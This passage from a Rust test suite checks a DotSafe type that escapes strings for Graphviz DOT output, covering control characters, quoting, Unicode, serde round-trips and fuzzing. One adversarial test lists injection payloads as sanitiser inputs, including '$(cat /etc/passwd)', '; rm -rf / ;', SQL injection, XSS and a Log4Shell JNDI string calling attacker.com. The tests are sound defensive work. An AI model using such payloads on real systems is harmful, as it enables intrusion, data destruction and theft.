1160 assert_eq!(s, &String::from("abc"));
1161 assert_eq!(&String::from("abc"), s);
1162
1163 let s2 = DotSafe::try_from("abc").unwrap();
1165 assert_eq!(s, s2);
1166
1167 let diff = DotSafe::try_from("def").unwrap();
1168 assert_ne!(s, diff);
1169 assert_ne!(s, "def");
1170 assert_ne!("def", s);
1171 }
1172
1173 #[test]
1174 fn test_dot_safe_serde_json_roundtrip() {
1175 let safe = DotSafe::try_from("valid_identifier-42").unwrap();
1176 let json = serde_json::to_string(&safe).unwrap();
1177 assert_eq!(json, "\"valid_identifier-42\"");
1178
1179 let deserialized: DotSafe = serde_json::from_str(&json).unwrap();
1180 assert_eq!(deserialized, safe);
1181 }
1182
1183 #[test]
1184 fn test_dot_safe_serde_json_rejection() {
1185 let bad_quote = r#""hello\"world""#;
1187 assert!(serde_json::from_str::<DotSafe>(bad_quote).is_err());
1188
1189 let bad_slash = r#""path\\to""#;
1191 assert!(serde_json::from_str::<DotSafe>(bad_slash).is_err());
1192
1193 let bad_newline = "\"line1\\nline2\"";
1195 assert!(serde_json::from_str::<DotSafe>(bad_newline).is_err());
1196
1197 let bad_control = "\"ansi\\u001bcolor\"";
1199 assert!(serde_json::from_str::<DotSafe>(bad_control).is_err());
1200 }
1201
1202 #[test]
1203 fn test_is_dot_unsafe_and_contains() {
1204 assert!(is_dot_unsafe_character('"'));
1205 assert!(is_dot_unsafe_character('\\'));
1206 assert!(is_dot_unsafe_character('\n'));
1207 assert!(is_dot_unsafe_character('\r'));
1208 assert!(is_dot_unsafe_character('\t'));
1209 assert!(is_dot_unsafe_character('\0'));
1210 assert!(is_dot_unsafe_character('\x1b'));
1211 assert!(is_dot_unsafe_character('\x7f'));
1212 assert!(is_dot_unsafe_character('\u{009B}'));
1213
1214 assert!(!is_dot_unsafe_character('a'));
1215 assert!(!is_dot_unsafe_character('0'));
1216 assert!(!is_dot_unsafe_character('-'));
1217 assert!(!is_dot_unsafe_character('_'));
1218 assert!(!is_dot_unsafe_character('.'));
1219 assert!(!is_dot_unsafe_character('/'));
1220 assert!(!is_dot_unsafe_character(':'));
1221 assert!(!is_dot_unsafe_character('🦀'));
1222
1223 assert!(contains_dot_unsafe_characters("hello\"world"));
1224 assert!(contains_dot_unsafe_characters("hello\\world"));
1225 assert!(contains_dot_unsafe_characters("hello\nworld"));
1226 assert!(!contains_dot_unsafe_characters("hello world 🦀"));
1227 }
1228
1229 #[test]
1230 fn test_dot_safe_all_c0_c1_control_codes_rejected_and_lossy_replaced() {
1231 for code in (0u8..=0x1Fu8).chain(std::iter::once(0x7Fu8)) {
1233 let c = code as char;
1234 let raw = format!("prefix{c}suffix");
1235
1236 let err = DotSafe::try_from(raw.as_str()).unwrap_err();
1238 assert_eq!(err.character(), c);
1239 assert_eq!(err.byte_index(), 6);
1240
1241 let lossy = DotSafe::from_str_lossy(&raw);
1243 if c == '\n' {
1244 assert_eq!(lossy.as_str(), "prefix\\nsuffix");
1245 } else if c == '\r' {
1246 assert_eq!(lossy.as_str(), format!("prefix{}suffix", char::REPLACEMENT_CHARACTER));
1247 } else {
1248 assert_eq!(lossy.as_str(), format!("prefix{}suffix", char::REPLACEMENT_CHARACTER));
1249 }
1250
1251 assert!(
1253 !contains_control_characters(lossy.as_str()),
1254 "lossy output for char {c:?} (U+{:04X}) still contained control characters: {:?}",
1255 c as u32,
1256 lossy.as_str()
1257 );
1258 }
1259
1260 for code in 0x80u32..=0x9Fu32 {
1262 let c = char::from_u32(code).unwrap();
1263 let raw = format!("start{c}end");
1264
1265 let err = DotSafe::try_from(raw.as_str()).unwrap_err();
1266 assert_eq!(err.character(), c);
1267 assert_eq!(err.byte_index(), 5);
1268
1269 let lossy = DotSafe::from_str_lossy(&raw);
1270 assert_eq!(lossy.as_str(), format!("start{}end", char::REPLACEMENT_CHARACTER));
1271 assert!(!contains_control_characters(lossy.as_str()));
1272 }
1273 }
1274
1275 #[test]
1276 fn test_dot_safe_nested_quotes_and_backslashes_combinatorics() {
1277 let test_cases = [
1278 ("\"", "\\\""),
1280 ("\"\"", "\\\"\\\""),
1281 ("\"\"\"", "\\\"\\\"\\\""),
1282 ("\"\"\"\"", "\\\"\\\"\\\"\\\""),
1283 ("\"\"\"\"\"", "\\\"\\\"\\\"\\\"\\\""),
1284 ("\\", "\\\\"),
1286 ("\\\\", "\\\\\\\\"),
1287 ("\\\\\\", "\\\\\\\\\\\\"),
1288 ("\\\\\\\\", "\\\\\\\\\\\\\\\\"),
1289 ("\\\\\\\\\\", "\\\\\\\\\\\\\\\\\\\\"),
1290 (r#"\""#, r#"\\\""#),
1292 (r#"\"\""#, r#"\\\"\\\""#),
1293 (r#"\\""#, r#"\\\\\""#),
1294 (r#"\\\""#, r#"\\\\\\\""#),
1295 (r#"\"\\"#, r#"\\\"\\\\"#),
1296 (r#"\"\"\""#, r#"\\\"\\\"\\\""#),
1297 (r#"\\\"\\\""#, r#"\\\\\\\"\\\\\\\""#),
1298 (r#"a"b\c"d\e"f\"#, r#"a\"b\\c\"d\\e\"f\\"#),
1299 (r#"\""""\""#, r#"\\\"\"\"\"\\\""#),
1300 ("\"foo\"\n\"bar\"", "\\\"foo\\\"\\n\\\"bar\\\""),
1302 ("\"foo\"\r\n\"bar\"", "\\\"foo\\\"\\n\\\"bar\\\""),
1303 (r#"path\with"quotes"and\newlines\n"#, r#"path\\with\"quotes\"and\\newlines\\n"#),
1304 ];
1305
1306 for (input, expected_lossy) in test_cases {
1307 assert!(
1309 DotSafe::try_from(input).is_err(),
1310 "TryFrom unexpectedly succeeded for {input:?}"
1311 );
1312
1313 let lossy = DotSafe::from_str_lossy(input);
1315 assert_eq!(lossy.as_str(), expected_lossy, "Lossy mismatch for input {input:?}");
1316
1317 let dot_literal = format!("\"{}\"", lossy.as_str());
1319 assert!(
1320 verify_dot_quoted_literal(&dot_literal),
1321 "DOT literal syntax violation for {dot_literal:?}"
1322 );
1323 }
1324 }
1325
1326 #[test]
1327 fn test_dot_safe_trailing_backslashes_battery() {
1328 let trailing_cases = [
1329 (r#"abc\"#, r#"abc\\"#),
1330 (r#"abc\\"#, r#"abc\\\\"#),
1331 (r#"abc\\\"#, r#"abc\\\\\\"#),
1332 (r#"abc\\\\"#, r#"abc\\\\\\\\"#),
1333 (r#"abc\\\\\"#, r#"abc\\\\\\\\\\"#),
1334 (r#"\"#, r#"\\"#),
1335 (r#"\\"#, r#"\\\\"#),
1336 (r#"\\\"#, r#"\\\\\\"#),
1337 (r#"\\\\"#, r#"\\\\\\\\"#),
1338 (r#"/usr/local/bin\"#, r#"/usr/local/bin\\"#),
1339 (r#"C:\Program Files\"#, r#"C:\\Program Files\\"#),
1340 ];
1341
1342 for (input, expected) in trailing_cases {
1343 assert!(DotSafe::try_from(input).is_err());
1344 let lossy = DotSafe::from_str_lossy(input);
1345 assert_eq!(lossy.as_str(), expected);
1346
1347 let dot_literal = format!("\"{}\"", lossy.as_str());
1350 assert!(
1351 verify_dot_quoted_literal(&dot_literal),
1352 "Trailing backslash escaped closing quote in {dot_literal:?}"
1353 );
1354 }
1355 }
1356
1357 #[test]
1358 fn test_dot_safe_unicode_homoglyphs_and_bidi() {
1359 let homoglyph_cases = [
1361 ""fullwidth_quote"",
1363 "\fullwidth_backslash\",
1364 "“left_double” “right_double”",
1366 "‘left_single’ ‘right_single’",
1367 "„low_double‟",
1368 "«guillemet_left» «guillemet_right»",
1369 "‹single_guillemet›",
1370 "division∕slash",
1372 "fraction⁄slash",
1373 "set∖minus",
1374 "bidi\u{202E}rtl_override\u{202C}",
1376 "zero\u{200B}width\u{200C}space\u{200D}",
1377 "\u{FEFF}byte_order_mark",
1378 "👨👩👧👦_family",
1380 "🏴☠️_pirate_flag",
1381 ];
1382
1383 for sample in homoglyph_cases {
1384 let safe = DotSafe::try_from(sample).unwrap();
1385 assert_eq!(safe.as_str(), sample);
1386
1387 let lossy = DotSafe::from_str_lossy(sample);
1388 assert_eq!(lossy.as_str(), sample);
1389
1390 let dot_literal = format!("\"{}\"", lossy.as_str());
1391 assert!(verify_dot_quoted_literal(&dot_literal));
1392 }
1393 }
1394
1395 #[test]
1396 fn test_dot_safe_adversarial_breakout_payloads_battery() {
1397 let attack_payloads = [
1398 r#""}; node [shape=doublecircle, fillcolor=red, label="hacked"]; {""#,
1400 r#"node_1" [color=red, label="hijacked"]; ""#,
1401 r#"node_1"; "injected_node" [label="pwned"]; """#,
1402 r#""]; } subgraph cluster_pwned { label="injected"; rank=same; { ""#,
1404 r#""} subgraph cluster_0 { a -> b; } digraph { ""#,
1405 r#""]; } digraph second_graph { injected_node; } digraph original { ""#,
1407 r#""; } strict digraph { a -> b; } ""#,
1408 r#"] [color=red] [label="spoofed"] [shape=diamond"#,
1410 r#""] fontsize=24 fontcolor=red label="alert" ["#,
1411 r#""] style="filled" fillcolor="yellow" ["#,
1412 r#"" -> "evil_target" [color=red, label="hijacked"]; "node_orig"#,
1414 r#"" -- "undirected_target" [style=dotted]; """#,
1415 r#"node_1:port_a:nw" -> "node_2:port_b:se"#,
1417 r#"orig_node":n -> "target_node":s"#,
1418 r#"<HTML><BODY><TABLE BORDER="1"><TR><TD>PWNED</TD></TR></TABLE></BODY></HTML>"#,
1420 r#"<TABLE><TR><TD PORT="p1">Port</TD></TR></TABLE>"#,
1421 r#""> <TABLE><TR><TD>Injected</TD></TR></TABLE> <""#,
1422 "/*\nmultiline\ncomment\n*/ node [color=red]; // line\n",
1424 "// line comment\nnode_2 [label=\"injected\"];\n",
1425 "<!-- xml style comment -->",
1426 "\x1b[31;1;4mRED\x1b[0m\x1b]0;TITLE\x07",
1428 "\x1b[2J\x1b[H\x1b[?25h",
1429 "\u{009B}31mC1_CSI\u{009B}0m",
1431 "\u{009D}0;OSC_TITLE\u{009C}",
1432 "\r\x1b[2K\x1b[1;1HInjected",
1434 "%s%s%n%x%d",
1436 "$(cat /etc/passwd)",
1437 "`id`",
1438 "; rm -rf / ;",
1439 "' OR '1'='1",
1441 "<script>alert('xss')</script>",
1442 "${jndi:ldap://attacker.com/exploit}",
1444 "safe_prefix\0evil_suffix",
1446 "\0\0\0",
1447 ];
1448
1449 for payload in attack_payloads {
1450 if contains_dot_unsafe_characters(payload) {
1452 assert!(
1453 DotSafe::try_from(payload).is_err(),
1454 "TryFrom failed to reject attack payload: {payload:?}"
1455 );
1456 }
1457
1458 let safe = DotSafe::from_str_lossy(payload);
1460
1461 let dot_literal = format!("\"{}\"", safe.as_str());
1463 assert!(
1464 verify_dot_quoted_literal(&dot_literal),
1465 "DOT literal syntax broken by payload {payload:?} -> {dot_literal:?}"
1466 );
1467
1468 assert!(
1470 !contains_control_characters(safe.as_str()),
1471 "Raw control characters survived in payload {payload:?} -> {:?}",
1472 safe.as_str()
1473 );
1474 }
1475 }
1476
1477 #[test]
1478 fn test_dot_safe_oracle_fuzzing() {
1479 let char_pool: Vec<char> = vec![
1481 'a', 'Z', '0', '_', '-', '.', '/', ':', '@', ' ', '"', '\\', '\n', '\r', '\t', '\0',
1482 '\x1b', '\x07', '\x7f', '\u{0080}', '\u{009B}', '\u{009F}', '“', '”', '\', '🦀', '日',
1483 '本', '語',
1484 ];
1485
1486 let mut lcg: u64 = 0x123456789ABCDEF;
1487 let mut next_rand = || -> usize {
1488 lcg = lcg.wrapping_mul(6364136223846793005).wrapping_add(1442695040888963407);
1489 (lcg >> 32) as usize
1490 };
1491
1492 for _ in 0..5000 {
1493 let len = next_rand() % 32;
1494 let mut s = String::with_capacity(len);
1495 for _ in 0..len {
1496 let idx = next_rand() % char_pool.len();
1497 s.push(char_pool[idx]);
1498 }
1499
1500 let has_unsafe = contains_dot_unsafe_characters(&s);
1502 let try_res = DotSafe::try_from(s.as_str());
1503 assert_eq!(
1504 try_res.is_ok(),
1505 !has_unsafe,
1506 "Mismatch between contains_dot_unsafe_characters and try_from for {s:?}"
1507 );
1508
1509 let lossy = DotSafe::from_str_lossy(&s);
1511 let dot_literal = format!("\"{}\"", lossy.as_str());
1512 assert!(
1513 verify_dot_quoted_literal(&dot_literal),
1514 "Fuzzing failed for input {s:?} -> {dot_literal:?}"
1515 );
1516 }
1517 }
1518
1519 #[test]
1520 fn test_dot_safe_multibyte_utf8_exhaustive_boundary_matrix() {
1521 let prefixes: &[(&str, usize)] = &[
1522 ("a", 1),
1523 ("Z", 1),
1524 ("9", 1),
1525 ("-", 1),
1526 ("é", 2),
1527 ("Ω", 2),
1528 ("д", 2),
1529 ("ש", 2),
1530 ("ع", 2),
1531 ("本", 3),
1532 ("語", 3),
1533 ("€", 3),
1534 ("→", 3),
1535 ("漢", 3),
1536 ("🦀", 4),
1537 ("🚀", 4),
1538 ("🔒", 4),
1539 ("𝄞", 4),
1540 ("こんにちは", 15),
1541 ("👨👩👧👦", 25),
1542 ];
1543
1544 let unsafe_chars: &[char] = &[
1545 '"', '\\', '\n', '\r', '\t', '\0', '\x07', '\x08', '\x1b', '\x7f', '\u{0080}',
1546 '\u{009B}', '\u{009F}',
1547 ];
1548
1549 for &(prefix, expected_prefix_bytes) in prefixes {
1550 assert_eq!(
1551 prefix.len(),
1552 expected_prefix_bytes,
1553 "Prefix {prefix:?} byte length mismatch"
1554 );
1555
1556 for &bad_char in unsafe_chars {
1557 let suffix = "🚀世界";
1558 let s = format!("{prefix}{bad_char}{suffix}");
1559
1560 let err = match DotSafe::try_from(s.as_str()) {
1562 Err(e) => e,
1563 Ok(_) => panic!(
1564 "TryFrom unexpectedly succeeded for prefix={prefix:?}, bad_char={bad_char:?}"
1565 ),
1566 };
1567 assert_eq!(
1568 err.byte_index(),
1569 expected_prefix_bytes,
1570 "Byte index mismatch for prefix={prefix:?}, bad_char={bad_char:?}"
1571 );
1572 assert_eq!(
1573 err.character(),
1574 bad_char,
1575 "Character mismatch for prefix={prefix:?}, bad_char={bad_char:?}"
1576 );
1577
1578 let lossy = DotSafe::from_str_lossy(&s);
1580 assert!(
1581 lossy.as_str().starts_with(prefix),
1582 "Lossy string did not preserve prefix {prefix:?} in {lossy:?}"
1583 );
1584 assert!(
1585 lossy.as_str().ends_with(suffix),
1586 "Lossy string did not preserve suffix {suffix:?} in {lossy:?}"
1587 );
1588
1589 let dot_literal = format!("\"{}\"", lossy.as_str());
1591 assert!(
1592 verify_dot_quoted_literal(&dot_literal),
1593 "Invalid DOT literal for prefix={prefix:?}, bad_char={bad_char:?} -> {dot_literal:?}"
1594 );
1595 }
1596 }
1597 }
1598
1599 #[test]
1600 fn test_dot_safe_zero_length_and_whitespace_variations() {
1601 let empty = DotSafe::try_from("").unwrap();
1603 assert_eq!(empty.as_str(), "");
1604 assert_eq!(empty.len(), 0);
1605 assert!(empty.is_empty());
1606 assert_eq!(DotSafe::from_str_lossy("").as_str(), "");
1607 assert!(verify_dot_quoted_literal(r#""""#));
1608
1609 let single_space = DotSafe::try_from(" ").unwrap();
1611 assert_eq!(single_space.as_str(), " ");
1612 let multi_space = DotSafe::try_from(" ").unwrap();
1613 assert_eq!(multi_space.as_str(), " ");
1614 let mixed_space = DotSafe::try_from(" foo bar ").unwrap();
1615 assert_eq!(mixed_space.as_str(), " foo bar ");
1616
1617 let unicode_whitespaces = [
1619 ("\u{00A0}", "No-Break Space"),
1620 ("\u{1680}", "Ogham Space Mark"),
1621 ("\u{2000}", "En Quad"),
1622 ("\u{2001}", "Em Quad"),
1623 ("\u{2002}", "En Space"),
1624 ("\u{2003}", "Em Space"),
1625 ("\u{2004}", "Three-Per-Em Space"),
1626 ("\u{2005}", "Four-Per-Em Space"),
1627 ("\u{2006}", "Six-Per-Em Space"),
1628 ("\u{2007}", "Figure Space"),
1629 ("\u{2008}", "Punctuation Space"),
1630 ("\u{2009}", "Thin Space"),
1631 ("\u{200A}", "Hair Space"),
1632 ("\u{202F}", "Narrow No-Break Space"),
1633 ("\u{205F}", "Medium Mathematical Space"),
1634 ("\u{3000}", "Ideographic Space"),
1635 ("\u{200B}", "Zero-Width Space"),
1636 ];
1637
1638 for (ws, name) in unicode_whitespaces {
1639 let safe =
1640 DotSafe::try_from(ws).unwrap_or_else(|_| panic!("Failed for {name} ({ws:?})"));
1641 assert_eq!(safe.as_str(), ws);
1642 let lossy = DotSafe::from_str_lossy(ws);
1643 assert_eq!(lossy.as_str(), ws);
1644
1645 let dot_literal = format!("\"{}\"", lossy.as_str());
1646 assert!(
1647 verify_dot_quoted_literal(&dot_literal),
1648 "Invalid DOT literal for {name}: {dot_literal:?}"
1649 );
1650 }
1651 }
1652
1653 #[test]
1654 fn test_dot_safe_extremely_large_strings_100kb_plus() {
1655 let large_clean_ascii = "a".repeat(150_000);
1657 let safe = DotSafe::try_from(large_clean_ascii.as_str()).unwrap();
1658 assert_eq!(safe.len(), 150_000);
1659 assert_eq!(DotSafe::from_str_lossy(&large_clean_ascii).len(), 150_000);
1660
1661 let large_multibyte = "🦀日本語".repeat(50_000);
1663 assert_eq!(large_multibyte.len(), 650_000);
1664 let safe_mb = DotSafe::try_from(large_multibyte.as_str()).unwrap();
1665 assert_eq!(safe_mb.len(), 650_000);
1666 assert_eq!(DotSafe::from_str_lossy(&large_multibyte).len(), 650_000);
1667
1668 let mut large_bad_end = "a".repeat(150_000);
1670 large_bad_end.push('"');
1671 let err_end = DotSafe::try_from(large_bad_end.as_str()).unwrap_err();
1672 assert_eq!(err_end.byte_index(), 150_000);
1673 assert_eq!(err_end.character(), '"');
1674
1675 let mut large_bad_mid = "b".repeat(75_000);
1677 large_bad_mid.push('\\');
1678 large_bad_mid.push_str(&"c".repeat(75_000));
1679 let err_mid = DotSafe::try_from(large_bad_mid.as_str()).unwrap_err();
1680 assert_eq!(err_mid.byte_index(), 75_000);
1681 assert_eq!(err_mid.character(), '\\');
1682
1683 let attack_chunk = r#"node_"val"\dir\n"#; let dense_attack = attack_chunk.repeat(10_000); assert!(DotSafe::try_from(dense_attack.as_str()).is_err());
1687
1688 let lossy = DotSafe::from_str_lossy(&dense_attack);
1689 assert!(lossy.len() > dense_attack.len());
1690 let dot_literal = format!("\"{}\"", lossy.as_str());
1691 assert!(
1692 verify_dot_quoted_literal(&dot_literal),
1693 "Dense 160KB attack string produced invalid DOT literal"
1694 );
1695 }
1696
1697 #[test]
1698 fn test_dot_safe_unicode_non_characters_and_pua() {
1699 for code in 0xFDD0u32..=0xFDEFu32 {
1701 let c = char::from_u32(code).unwrap();
1702 let s = format!("prefix_{c}_suffix");
1703 let safe = DotSafe::try_from(s.as_str()).unwrap();
1704 assert_eq!(safe.as_str(), s);
1705 let lossy = DotSafe::from_str_lossy(&s);
1706 assert_eq!(lossy.as_str(), s);
1707 }
1708
1709 let special_non_chars = [
1711 '\u{FFFE}',
1712 '\u{FFFF}',
1713 '\u{1FFFE}',
1714 '\u{1FFFF}',
1715 '\u{2FFFE}',
1716 '\u{2FFFF}',
1717 '\u{10FFFE}',
1718 '\u{10FFFF}',
1719 ];
1720 for &c in &special_non_chars {
1721 let s = format!("nonchar_{c}");
1722 let safe = DotSafe::try_from(s.as_str()).unwrap();
1723 assert_eq!(safe.as_str(), s);
1724 let lossy = DotSafe::from_str_lossy(&s);
1725 assert_eq!(lossy.as_str(), s);
1726 }
1727
1728 let pua_samples = ['\u{E000}', '\u{E800}', '\u{F8FF}', '\u{F0000}', '\u{100000}'];
1730 for &c in &pua_samples {
1731 let s = format!("pua_{c}");
1732 let safe = DotSafe::try_from(s.as_str()).unwrap();
1733 assert_eq!(safe.as_str(), s);
1734 let lossy = DotSafe::from_str_lossy(&s);
1735 assert_eq!(lossy.as_str(), s);
1736 }
1737
1738 let bidi_controls = [
1740 '\u{200E}', '\u{200F}', '\u{061C}', '\u{2066}', '\u{2067}', '\u{2068}', '\u{2069}', ];
1748 for &c in &bidi_controls {
1749 let s = format!("bidi_{c}_text");
1750 let safe = DotSafe::try_from(s.as_str()).unwrap();
1751 assert_eq!(safe.as_str(), s);
1752 let lossy = DotSafe::from_str_lossy(&s);
1753 assert_eq!(lossy.as_str(), s);
1754 }
1755 }
1756
1757 #[test]
1758 fn test_dot_safe_serde_json_comprehensive_matrix() {
1759 use std::collections::HashMap;
1760
1761 let valid_cases = [
1763 "alphanumeric_123",
1764 "koid-42.service_name",
1765 "こんにちは 🦀 🚀",
1766 "Café résumé — 100%",
1767 "",
1768 " leading and trailing spaces ",
1769 ];
1770
1771 for &val in &valid_cases {
1772 let safe = DotSafe::try_from(val).unwrap();
1773 let json = serde_json::to_string(&safe).unwrap();
1774 let deserialized: DotSafe = serde_json::from_str(&json).unwrap();
1775 assert_eq!(deserialized, safe);
1776 assert_eq!(deserialized.as_str(), val);
1777 }
1778
1779 let json_escaped_unicode = "\"\\u0061\\u0062\\u0063\""; let res: DotSafe = serde_json::from_str(json_escaped_unicode).unwrap();
1782 assert_eq!(res.as_str(), "abc");
1783
1784 let json_surrogate_pair = "\"\\uD83E\\uDD80\""; let res_emoji: DotSafe = serde_json::from_str(json_surrogate_pair).unwrap();
1786 assert_eq!(res_emoji.as_str(), "🦀");
1787
1788 let invalid_json_strings = [
1790 r#""hello\"world""#, r#""path\\to\\dir""#, "\"line1\\nline2\"", "\"line1\\rline2\"", "\"tab\\tseparated\"", "\"null\\u0000byte\"", "\"ansi\\u001bcode\"", "\"del\\u007fchar\"", "\"c1_\\u0080\"", "\"c1_\\u009B\"", ];
1801
1802 for &invalid_json in &invalid_json_strings {
1803 let res: Result<DotSafe, _> = serde_json::from_str(invalid_json);
1804 assert!(
1805 res.is_err(),
1806 "Deserialization unexpectedly succeeded for invalid JSON: {invalid_json}"
1807 );
1808 }
1809
1810 assert!(serde_json::from_str::<DotSafe>("12345").is_err());
1812 assert!(serde_json::from_str::<DotSafe>("true").is_err());
1813 assert!(serde_json::from_str::<DotSafe>("false").is_err());
1814 assert!(serde_json::from_str::<DotSafe>("null").is_err());
1815 assert!(serde_json::from_str::<DotSafe>(r#"["array"]"#).is_err());
1816 assert!(serde_json::from_str::<DotSafe>(r#"{"key": "value"}"#).is_err());
1817 assert!(serde_json::from_str::<DotSafe>(r#""unterminated"#).is_err());
1818
1819 #[derive(Serialize, Deserialize, PartialEq, Debug)]
1821 struct NodeMetadata {
1822 id: u64,
1823 name: DotSafe,
1824 optional_alias: Option<DotSafe>,
1825 tags: Vec<DotSafe>,
1826 properties: HashMap<String, DotSafe>,
1827 }
1828
1829 let mut properties = HashMap::new();
1830 properties.insert("vendor".to_string(), DotSafe::try_from("Google").unwrap());
1831 properties
1832 .insert("protocol".to_string(), DotSafe::try_from("fuchsia.hardware.pci").unwrap());
1833
1834 let metadata = NodeMetadata {
1835 id: 101,
1836 name: DotSafe::try_from("root_pci_bus").unwrap(),
1837 optional_alias: Some(DotSafe::try_from("pci-root").unwrap()),
1838 tags: vec![
1839 DotSafe::try_from("bus").unwrap(),
1840 DotSafe::try_from("hardware").unwrap(),
1841 DotSafe::try_from("core").unwrap(),
1842 ],
1843 properties,
1844 };
1845
1846 let json_meta = serde_json::to_string(&metadata).unwrap();
1847 let deserialized_meta: NodeMetadata = serde_json::from_str(&json_meta).unwrap();
1848 assert_eq!(deserialized_meta, metadata);
1849
1850 let bad_nested_json = json_meta.replace("root_pci_bus", "root_\"_pci_bus");
1852 assert!(serde_json::from_str::<NodeMetadata>(&bad_nested_json).is_err());
1853 }
1854
1855 fn verify_dot_quoted_literal(dot_literal: &str) -> bool {
1858 if !dot_literal.starts_with('"') || !dot_literal.ends_with('"') || dot_literal.len() < 2 {
1859 return false;
1860 }
1861
1862 let inner = &dot_literal[1..dot_literal.len() - 1];
1863 let mut escaped = false;
1864 let mut chars = inner.chars();
1865
1866 while let Some(c) = chars.next() {
1867 if escaped {
1868 if c != '\\' && c != '"' && c != 'n' {
1871 return false;
1872 }
1873 escaped = false;
1874 } else if c == '\\' {
1875 escaped = true;
1876 } else if c == '"' {
1877 return false;
1879 } else if is_control_character(c) {
1880 return false;
1882 }
1883 }
1884
1885 !escaped
1887 }
1888}